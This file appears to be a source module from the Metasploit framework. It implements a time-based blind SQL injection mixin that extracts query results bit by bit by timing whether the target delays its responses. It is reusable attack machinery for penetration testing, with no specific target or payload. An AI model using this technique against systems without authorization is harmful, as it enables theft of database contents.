
module Msf::Exploit::SQLi

  # 
  # This module provides methods that are used for time-based SQL injections, and are common across dbms-specific implementations.
  #
  module TimeBasedBlindMixin
    #
    # Runs an SQL query, and returns its results (time-based blind technique)
    #
    # @param query [String] The SQL query to execute
    # @param output_charset [Range] The range of characters to expect in the output, optional
    # @return [String] The query result
    #
    def run_sql(query, output_charset: nil)
      if output_charset.is_a?(Range) && output_charset.count > 0
        known_bits, bits_to_guess = Msf::Exploit::SQLi::Utils::Common.get_bitmask(output_charset)
      else
        known_bits = 0
        bits_to_guess = 8
      end
      vprint_status "{SQLi} Executing (#{query})"
      if @hex_encode_strings
        query = hex_encode_strings(query)
        vprint_status "{SQLi} Encoded to (#{query})"
      end
      # first, get the length of the output
      output_length = blind_detect_length(query, true)
      vprint_status "{SQLi} Time-based injection: expecting output of length #{output_length}"
      # now, get the output, of the given length
      blind_dump_data(query, output_length, known_bits, bits_to_guess, true)
    end

    #
    # Performs one request, and does timing measurement, should leak one bit of information
    # @param query [String] The SQL query to run
    # @return [Boolean] Whether the target slept when queried with the given payload
    #
    def blind_request(query)
      time = Time.now
      @query_proc.call(query)
      diff = Time.now - time
      diff >= datastore['SqliDelay']
    end
  end
end
